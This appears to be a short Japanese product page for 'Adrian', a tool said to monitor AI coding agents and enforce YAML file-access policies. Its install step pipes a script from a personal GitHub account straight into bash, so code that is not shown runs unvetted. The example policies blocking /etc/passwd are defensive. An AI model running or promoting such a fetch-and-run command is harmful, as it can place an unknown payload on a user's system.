Adrian は何をしますか?
オープンソースのランタイムセキュリティツールでAIエージェントの動作を監視・制御します。
概要
このスキルは、AIエージェントのランタイム動作を監視し、定義されたセキュリティポリシーに基づいてアクションを制御します。
主な機能
- リアルタイム監視: エージェントのファイルアクセス、ネットワークリクエスト、コード実行を監視
- ポリシーベースの制御: 許可/拒否のルールをYAML形式で定義可能
- ログ記録: すべてのアクションを詳細なログとして記録し、後から分析可能
- 軽量設計: 最小限のオーバーヘッドで動作
使用方法
# Adrian CLIツールのインストール
curl -sSL https://raw.githubusercontent.com/Gratianahydrokinetic908/adrian/main/install.sh | bash
# ポリシーファイルの作成
cat > policy.yaml << 'EOF'
rules:
- action: block
pattern: "/etc/passwd"
- action: allow
pattern: "/home/*"
EOF
# エージェントの監視開始
adrian run --policy policy.yaml --command "your-ai-agent-command"
設定例
# ポリシーファイル policy.yaml
name: "strict-policy"
rules:
- action: block
pattern: "/etc/*"
reason: "システムファイルへのアクセスを禁止"
- action: allow
pattern: "/tmp/*"
- action: block
pattern: ".*"
reason: "未知のアクセスは拒否"
対応プラットフォーム
- Claude Code
- Cursor
- Codex
- その他のAIエージェントCLIツール
詳細情報
詳細は公式リポジトリを参照してください。
ライセンス
Apache 2.0